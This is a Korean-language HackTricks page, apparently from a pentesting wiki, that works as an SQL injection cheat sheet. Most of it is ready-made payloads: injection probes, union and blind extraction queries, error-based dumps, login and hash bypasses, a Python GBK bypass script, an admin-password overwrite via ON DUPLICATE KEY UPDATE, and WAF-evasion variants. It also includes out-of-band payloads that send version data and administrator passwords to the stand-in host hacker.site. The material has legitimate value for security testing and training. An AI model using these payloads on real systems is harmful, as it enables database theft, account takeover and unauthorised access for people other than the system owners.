hacktricks/pentesting-web/sql-injection/README.md

30 KiB
Raw Blame History

SQL Injection

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

RootedCON스페인에서 가장 관련성이 높은 사이버 보안 이벤트이며 유럽에서 가장 중요한 행사 중 하나입니다. 기술 지식을 촉진하는 것을 사명으로 하는 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다.

{% embed url="https://www.rootedcon.com/" %}

SQL 인젝션이란 무엇인가?

SQL 인젝션은 공격자가 애플리케이션의 데이터베이스 쿼리에 간섭할 수 있게 해주는 보안 결함입니다. 이 취약점은 공격자가 보지 못해야 할 데이터, 즉 다른 사용자의 정보나 애플리케이션이 접근할 수 있는 모든 데이터를 조회, 수정 또는 삭제할 수 있게 합니다. 이러한 행동은 애플리케이션의 기능이나 콘텐츠에 영구적인 변경을 초래하거나 서버의 손상 또는 서비스 거부를 초래할 수 있습니다.

진입점 탐지

사이트가 SQLi 관련 입력에 대한 비정상적인 서버 응답으로 인해 SQL 인젝션(SQLi)에 취약한 것으로 보일 때, 첫 번째 단계쿼리를 방해하지 않고 데이터 주입 방법을 이해하는 것입니다. 이는 현재 컨텍스트에서 효과적으로 벗어나는 방법을 식별해야 합니다.
다음은 유용한 몇 가지 예입니다:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

그런 다음, 오류가 없도록 쿼리를 수정하는 방법을 알아야 합니다. 쿼리를 수정하기 위해 데이터를 입력하여 이전 쿼리가 새 데이터를 수용하도록 하거나, 그냥 데이터를 입력하고 끝에 주석 기호를 추가할 수 있습니다.

쿼리가 작동할 때와 작동하지 않을 때 오류 메시지를 볼 수 있거나 차이를 발견할 수 있다면 이 단계는 더 쉬울 것입니다.

주석

MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

논리 연산으로 확인하기

SQL 인젝션 취약점을 확인하는 신뢰할 수 있는 방법은 논리 연산을 실행하고 예상 결과를 관찰하는 것입니다. 예를 들어, ?username=Peter와 같은 GET 매개변수가 ?username=Peter' or '1'='1로 수정했을 때 동일한 콘텐츠를 생성하면 SQL 인젝션 취약점이 있음을 나타냅니다.

마찬가지로, 수학적 연산의 적용은 효과적인 확인 기술로 작용합니다. 예를 들어, ?id=1?id=2-1에 접근했을 때 동일한 결과가 생성되면 SQL 인젝션을 나타냅니다.

논리 연산 확인을 보여주는 예:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

이 단어 목록은 제안된 방법으로 SQLinjections를 확인하기 위해 생성되었습니다:

{% file src="../../.gitbook/assets/sqli-logic.txt" %}

타이밍으로 확인하기

일부 경우에는 테스트 중인 페이지에서 변화를 감지하지 못할 수 있습니다. 따라서 블라인드 SQL injections를 발견하는 좋은 방법은 DB가 작업을 수행하게 하여 페이지 로드에 영향을 미치는 시간을 만드는 것입니다.
따라서 SQL 쿼리에 완료하는 데 많은 시간이 걸리는 작업을 연결할 것입니다:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

일부 경우에 sleep 함수가 허용되지 않을 수 있습니다. 그런 경우, 이러한 함수를 사용하는 대신 쿼리를 복잡한 작업을 수행하도록 만들어 여러 초가 걸리게 할 수 있습니다. 이러한 기술의 예는 각 기술에 대해 별도로 주석을 달 예정입니다 (있는 경우).

백엔드 식별

백엔드를 식별하는 가장 좋은 방법은 다양한 백엔드의 함수를 실행해보는 것입니다. 이전 섹션의 sleep 함수 또는 다음의 함수들을 사용할 수 있습니다 (table from payloadsallthethings:

["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

또한, 쿼리의 출력에 접근할 수 있다면 데이터베이스의 버전을 출력할 수 있습니다.

{% hint style="info" %} 우리는 다양한 종류의 SQL Injection을 악용하는 다양한 방법에 대해 논의할 것입니다. MySQL을 예로 사용할 것입니다. {% endhint %}

PortSwigger로 식별하기

{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}

유니온 기반 악용

열의 수 감지

쿼리의 출력을 볼 수 있다면 이것이 가장 좋은 악용 방법입니다.
우선, 초기 요청이 반환하는 열의 수를 찾아야 합니다. 이는 두 쿼리가 동일한 수의 열을 반환해야 하기 때문입니다.
이 목적을 위해 일반적으로 두 가지 방법이 사용됩니다:

Order/Group by

쿼리의 열 수를 결정하기 위해 ORDER BY 또는 GROUP BY 절에서 사용된 숫자를 점진적으로 조정하여 잘못된 응답이 수신될 때까지 진행합니다. SQL 내에서 GROUP BYORDER BY의 기능이 다르지만, 두 가지 모두 쿼리의 열 수를 확인하는 데 동일하게 활용될 수 있습니다.

1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

쿼리가 올바를 때까지 더 많은 null 값을 선택하십시오:

1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

null 값을 사용해야 합니다. 경우에 따라 쿼리 양쪽의 열 유형이 동일해야 하며 null은 모든 경우에 유효합니다.

데이터베이스 이름, 테이블 이름 및 열 이름 추출

다음 예제에서는 모든 데이터베이스의 이름, 데이터베이스의 테이블 이름, 테이블의 열 이름을 검색합니다:

#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

모든 데이터베이스에서 이 데이터를 발견하는 방법은 다르지만, 항상 동일한 방법론입니다.

숨겨진 유니온 기반 활용

쿼리의 출력이 보이지만 유니온 기반 주입이 불가능해 보일 때, 이는 숨겨진 유니온 기반 주입의 존재를 나타냅니다. 이 시나리오는 종종 블라인드 주입 상황으로 이어집니다. 블라인드 주입을 유니온 기반으로 변환하려면 백엔드에서 실행되는 쿼리를 파악해야 합니다.

이는 블라인드 주입 기술과 대상 데이터베이스 관리 시스템(DBMS)에 특정한 기본 테이블을 사용하여 수행할 수 있습니다. 이러한 기본 테이블을 이해하기 위해서는 대상 DBMS의 문서를 참조하는 것이 좋습니다.

쿼리가 추출되면, 원래 쿼리를 안전하게 종료하도록 페이로드를 조정해야 합니다. 그 후, 유니온 쿼리를 페이로드에 추가하여 새로 접근 가능한 유니온 기반 주입을 활용할 수 있습니다.

더 포괄적인 통찰력을 원하시면 Healing Blind Injections에서 제공되는 전체 기사를 참조하세요.

오류 기반 활용

어떤 이유로 쿼리출력볼 수 없지만 오류 메시지볼 수 있는 경우, 이 오류 메시지를 사용하여 데이터베이스에서 데이터를 유출할 수 있습니다.
유니온 기반 활용과 유사한 흐름을 따라 DB를 덤프할 수 있습니다.

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Blind SQLi 활용하기

이 경우 쿼리의 결과나 오류를 볼 수는 없지만, 쿼리가 true 또는 false 응답을 반환할 때 페이지의 내용이 다르기 때문에 이를 구별할 수 있습니다.
이 경우, 그 동작을 악용하여 데이터베이스를 문자 단위로 덤프할 수 있습니다:

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Exploiting Error Blind SQLi

이것은 이전과 동일한 경우이지만 쿼리의 true/false 응답을 구분하는 대신 SQL 쿼리에서 오류가 있는지 여부를 구분할 수 있습니다(아마도 HTTP 서버가 중단되기 때문입니다). 따라서 이 경우 올바른 문자를 추측할 때마다 SQL 오류를 강제로 발생시킬 수 있습니다:

AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

시간 기반 SQLi 활용

이 경우에는 페이지의 맥락에 따라 쿼리의 응답구별할 수 있는 방법이 없습니다. 그러나, 추측한 문자가 올바른 경우 페이지가 더 오래 로드되도록 만들 수 있습니다. 우리는 이미 타이밍을 사용하여 SQLi 취약점 확인하는 이 기술을 이전에 보았습니다.

1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Stacked Queries

스택 쿼리를 사용하여 여러 쿼리를 연속으로 실행할 수 있습니다. 후속 쿼리가 실행되는 동안 결과응용 프로그램에 반환되지 않습니다. 따라서 이 기술은 주로 블라인드 취약점과 관련하여 사용되며, 두 번째 쿼리를 사용하여 DNS 조회, 조건부 오류 또는 시간 지연을 트리거할 수 있습니다.

Oracle스택 쿼리를 지원하지 않습니다. MySQL, MicrosoftPostgreSQL은 이를 지원합니다: QUERY-1-HERE; QUERY-2-HERE

Out of band Exploitation

다른 취약점 이용 방법이 작동하지 않는 경우, 데이터베이스가 정보를 당신이 제어하는 외부 호스트로 유출하도록 시도할 수 있습니다. 예를 들어, DNS 쿼리를 통해:

select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

XXE를 통한 대역 외 데이터 유출

a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

자동화된 악용

sqlmap을 사용하여 SQLi 취약점을 악용하려면 SQLMap Cheetsheat를 확인하세요.

기술별 정보

우리는 이미 SQL Injection 취약점을 악용하는 모든 방법에 대해 논의했습니다. 이 책에서 데이터베이스 기술에 따라 더 많은 트릭을 찾아보세요:

또는 https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection에서 MySQL, PostgreSQL, Oracle, MSSQL, SQLite 및 HQL에 관한 많은 트릭을 찾을 수 있습니다.

RootedCON스페인에서 가장 관련성이 높은 사이버 보안 이벤트이며 유럽에서 가장 중요한 행사 중 하나입니다. 기술 지식을 촉진하는 임무를 가지고 이 컨그레스는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다.

{% embed url="https://www.rootedcon.com/" %}

인증 우회

로그인 기능을 우회하기 위해 시도할 목록:

{% content-ref url="../login-bypass/sql-login-bypass.md" %} sql-login-bypass.md {% endcontent-ref %}

원시 해시 인증 우회

"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

이 쿼리는 인증 검사에서 원시 출력을 위해 true와 함께 MD5가 사용될 때의 취약점을 보여줍니다. 이로 인해 시스템이 SQL 인젝션에 취약해집니다. 공격자는 해시될 때 예상치 못한 SQL 명령 부분을 생성하는 입력을 조작하여 이를 악용할 수 있으며, 이는 무단 접근으로 이어질 수 있습니다.

md5("ffifdyop", true) = 'or'6<EFBFBD>]<EFBFBD><EFBFBD>!r,<EFBFBD><EFBFBD>b<EFBFBD>
sha1("3fDf ", true) = Q<EFBFBD>u'='<EFBFBD>@<EFBFBD>[<EFBFBD>t<EFBFBD>- o<EFBFBD><EFBFBD>_-!

주입된 해시 인증 우회

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

추천 목록:

각 줄의 목록을 사용자 이름으로 사용하고 비밀번호는 항상: Pass1234.
(이 페이로드는 이 섹션의 시작 부분에 언급된 큰 목록에도 포함되어 있습니다)

{% file src="../../.gitbook/assets/sqli-hashbypass.txt" %}

GBK 인증 우회

IF '가 이스케이프되고 있다면 %A8%27을 사용할 수 있으며, '가 이스케이프되면 다음이 생성됩니다: 0xA80x5c0x27 (╘')

%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

파이썬 스크립트:

import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

폴리글롯 인젝션 (다중 컨텍스트)

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Insert Statement

기존 객체/사용자의 비밀번호 수정

이를 위해 **"마스터 객체"**라는 이름의 새 객체를 생성하려고 시도해야 합니다 (사용자의 경우 admin일 가능성이 높습니다) 뭔가를 수정하여:

  • 이름이 AdMIn인 사용자 생성 (대문자 및 소문자 혼합)
  • 이름이 **admin=**인 사용자 생성
  • SQL Truncation Attack (사용자 이름이나 이메일에 길이 제한이 있을 때) --> 이름이 admin [공백 많이] a인 사용자 생성

SQL Truncation Attack

데이터베이스가 취약하고 사용자 이름의 최대 문자 수가 예를 들어 30일 때, admin 사용자를 가장하려면: "admin [30 공백] a"라는 사용자 이름을 생성하고 아무 비밀번호나 사용해 보세요.

데이터베이스는 입력된 사용자 이름이 데이터베이스에 존재하는지 확인합니다. 존재하지 않으면, 사용자 이름최대 허용 문자 수잘라냅니다 (이 경우 "admin [25 공백]"로) 그리고 자동으로 끝의 모든 공백을 제거하여 데이터베이스 내에서 사용자 "admin"의 새 비밀번호로 업데이트합니다 (어떤 오류가 발생할 수 있지만, 이것이 작동하지 않았다는 의미는 아닙니다).

자세한 정보: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

참고: 이 공격은 최신 MySQL 설치에서 위와 같이 더 이상 작동하지 않습니다. 비교는 여전히 기본적으로 후행 공백을 무시하지만, 필드의 길이보다 긴 문자열을 삽입하려고 하면 오류가 발생하고 삽입이 실패합니다. 이 확인에 대한 자세한 정보는 다음을 참조하세요: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

MySQL Insert 시간 기반 검사

VALUES 문을 종료하기 위해 필요한 만큼 ','',''를 추가하세요. 지연이 실행되면 SQLInjection이 있습니다.

name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

MySQL의 ON DUPLICATE KEY UPDATE 절은 UNIQUE 인덱스 또는 PRIMARY KEY에서 중복 값이 발생하는 행을 삽입하려고 할 때 데이터베이스가 수행할 작업을 지정하는 데 사용됩니다. 다음 예제는 이 기능이 관리자의 계정 비밀번호를 수정하는 데 어떻게 악용될 수 있는지를 보여줍니다:

Example Payload Injection:

주입 페이로드는 다음과 같이 작성될 수 있으며, 두 개의 행이 users 테이블에 삽입되려고 시도됩니다. 첫 번째 행은 미끼이고, 두 번째 행은 비밀번호를 업데이트할 의도로 기존 관리자의 이메일을 대상으로 합니다:

INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

Here's how it works:

  • 쿼리는 두 개의 행을 삽입하려고 시도합니다: 하나는 generic_user@example.com을 위한 것이고, 다른 하나는 admin_generic@example.com을 위한 것입니다.
  • 만약 admin_generic@example.com에 대한 행이 이미 존재한다면, ON DUPLICATE KEY UPDATE 절이 트리거되어 MySQL에 기존 행의 password 필드를 "bcrypt_hash_of_newpassword"로 업데이트하도록 지시합니다.
  • 결과적으로, admin_generic@example.com을 사용하여 bcrypt 해시에 해당하는 비밀번호로 인증을 시도할 수 있습니다 ("bcrypt_hash_of_newpassword"는 새 비밀번호의 bcrypt 해시를 나타내며, 원하는 비밀번호의 실제 해시로 대체되어야 합니다).

Extract information

Creating 2 accounts at the same time

새 사용자와 사용자 이름을 생성하려고 할 때, 비밀번호와 이메일이 필요합니다:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

10진수 또는 16진수 사용

이 기술을 사용하면 1개의 계정만 생성하여 정보를 추출할 수 있습니다. 주의할 점은 아무것도 주석 처리할 필요가 없다는 것입니다.

hex2decsubstr 사용:

'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

텍스트를 얻으려면 다음을 사용할 수 있습니다:

__import__('binascii').unhexlify(hex(215573607263)[2:])

hexreplace (그리고 substr) 사용:

'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

RootedCON스페인에서 가장 관련성이 높은 사이버 보안 이벤트이며 유럽에서 가장 중요한 행사 중 하나입니다. 기술 지식을 촉진하는 임무를 가지고, 이 컨그레스는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다.

{% embed url="https://www.rootedcon.com/" %}

Routed SQL injection

Routed SQL injection은 주입 가능한 쿼리가 출력을 제공하지 않고, 주입 가능한 쿼리의 출력이 출력을 제공하는 쿼리로 전달되는 상황입니다. (From Paper)

Example:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF 우회

초기 우회는 여기에서

공백 없는 우회

No Space (%20) - 공백 대체를 사용한 우회

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - 주석을 사용한 우회

?id=1/*comment*/and/**/1=1/**/--

No Whitespace - 괄호를 사용한 우회

?id=(1)and(1)=(1)--

No commas bypass

No Comma - OFFSET, FROM 및 JOIN을 사용한 우회

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

Generic Bypasses

키워드를 사용한 블랙리스트 - 대문자/소문자를 사용하여 우회

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

대소문자 구분 없는 키워드를 사용한 블랙리스트 - 동등한 연산자를 사용하여 우회

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

Scientific Notation WAF 우회

You can find a more in depth explaination of this trick in gosecure blog.
기본적으로 WAF를 우회하기 위해 예상치 못한 방식으로 과학적 표기를 사용할 수 있습니다:

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

열 이름 제한 우회

먼저, 원래 쿼리와 플래그를 추출하려는 테이블의 열 수가 동일하다면 다음과 같이 할 수 있습니다: 0 UNION SELECT * FROM flag

열 이름을 사용하지 않고 테이블의 세 번째 열에 접근하는 것이 가능합니다 다음과 같은 쿼리를 사용하여: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, 따라서 sqlinjection에서는 다음과 같이 보일 것입니다:

# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

또는 comma bypass를 사용하여:

# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

이 트릭은 https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/에서 가져왔습니다.

WAF 우회 제안 도구

{% embed url="https://github.com/m4ll0k/Atlas" %}

기타 가이드

브루트포스 탐지 목록

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}

RootedCON스페인에서 가장 관련성이 높은 사이버 보안 이벤트이며 유럽에서 가장 중요한 행사 중 하나입니다. 기술 지식을 촉진하는 임무를 가지고 있는 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다.

{% embed url="https://www.rootedcon.com/" %}

{% hint style="success" %} AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기
{% endhint %}